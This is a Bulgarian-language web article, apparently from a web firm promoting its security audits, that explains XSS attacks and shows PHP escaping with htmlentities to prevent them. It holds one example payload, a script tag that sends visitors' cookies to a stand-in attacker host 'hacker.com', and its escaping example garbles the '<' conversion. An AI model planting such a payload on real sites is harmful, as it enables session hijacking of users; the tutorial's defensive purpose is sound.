Какво е XSS?
XSS е съкращение от Cross Site Scripting. Не се ползва CSS, защото CSS вече е запазено от Cascading Style Sheets. XSS е втората по разпространение в интернет атака след MySQL Injection. Застрашени са всички сайтове, които визуализират информация въведена от потребител на сайта. Такива сайтове са блогове, форуми, книги за гости, както и сайтове, които имат URL адреси с неправилно почиствани параметри. Ако тази входяща информация не е правилно обработена от софтуера на сайта, се получава уязвимост от XSS. Основно XSS се използва за открадване на бисквитка (cookie) и сесия, инжектиране на линкове и промяна на изгледа (deface). Нека си представим, че в един много посещаван сайт има XSS уязвимост, която позволява посетител да напише коментар подобен на следния:
<script>document.location = 'http://hacker.com/get.php?cookies=' + document.cookie;</script>
Адресът до PHP файла е само пример и не съществува, но при реална атака там ще има скрипт на кракер, който краде бисквитки.
Всеки път когато логнат посетител зареди страница, която съдържа коментара, ще се изпраща бисквитката на логнатия посетител към сайта на кракера.
Докато не е изтекла сесията, кракера ще може да влезе в сайта от името на потребителя и да се представи за него включително и да му промени паролата за сайта.
Репутация на бранда при XSS атака
Освен за открадване на бисквитки, една XSS атака може да се ползва за инжектиране на HTML съдържание в чужд сайт. Това може да става по два начина – динамично и трайно (stored XSS). При динамичен XSS съдържанието се показва в сайта само при заявка – при написване на URL адрес в браузъра и подаване на специални тексотве към някой параметър на страницата. След това атакуващият може да направи линкове към URL адреса със специалните параметри и да се стигне до индексиране от Google на тази страница с подменено съдържание.
При варианта със Stored XSS, атакуващият намира начин да запише това съдържание в базата данни или във файл. Добавеното съдържание се показва трайно на URL адрес, който вече е индексиран от Google и се достъпва лесно от всички, защото е част от сайта. Най-честата цел е на тези атаки е добавеното съдържание да съдържа активен линк към друг сайт.
Друга много честа атака при бизнес сайтове е промяна на изгледа (deface), акатуващият може да промени изцяло изгледа на страницата, да добави изображения и текст, които злепоставят бранда и уронват престижа на фирмата собственик на сайта. Посетителят на страницата може също лесно да бъде пренасочен автоматично към сайт на конкурентна фирма.
Защита от XSS?
За съжаление това е работа на програмиста на сайта. Всички XSS атаки се дължат на небрежност или пропуск на разработчиците на уеб софтуер. GanMax предлага услугата Одит на сигурността на сайт при която се проверява програмния код на софтуера на сайта и дали той е написан по начин, който не позволява сайтът да бъде компрометиран.
За програмисти разработващи уеб софтуер и защита от XSS
Предотвратява се много лесно при разработването на сайта. Има едно основно правило на програмиста: НИКОГА НЕ ВЯРВАЙ НА ПОТРЕБИТЕЛЯ – строго проверявай данните въведени от потребител!
В случая трябва входните данни да се изчистят от специални символи.
Нека да си представим, че коментара се изпраща от уеб форма по метода POST и след това влиза в база данни.
В PHP никога не пиши нещо като:
$comment = $_POST['comment'];
Преди да изпратиш данните към базата данни замени горния ред с:
$comment = isset($_POST['comment']) ? htmlentities($_POST['comment'], ENT_QUOTES, ‘utf-8′) : '';
Това ще преобразува всички опасни символи в текста на коментара:
< става >
‘ става '
и др.
Ако енкодинга на твоя сайт не е UTF8 ще трябва да промениш последния параметър с твоя енкодинг.
Тъй като горния ред е малко дълъг и лесно може да се сбърка. Освен това ако случайно промениш енкодинга на сайта, ще трябва да търсиш и променяш всички подобни редове. Затова ти препоръчвам да ползваш функция. При мен тази функция е изнесена в библиотека, която съдържа следния клас:
Код:
class UtilParam{ static function escapeHTML($param) { return htmlentities($param, ENT_QUOTES, 'UTF-8'); } }
Така ако запишеш този клас във файла UtilParam.php можеш вместо горния ред да ползваш следните:
include_once('UtilParam.php'); $comment = isset($_POST['comment']) ? UtilParam::escapeHTML($_POST['comment']) : '';
Същото важи и ако параметрите се изпращат по метод GET.
Ако очакваш в изпратената променлива да има само число, много добра идея е да засилиш проверката с реда:
$number = isset($_GET['num']) ? intval($_GET['num']) : 0;
Очаквайте още примери.
Брой прочитания на тази страница: 8622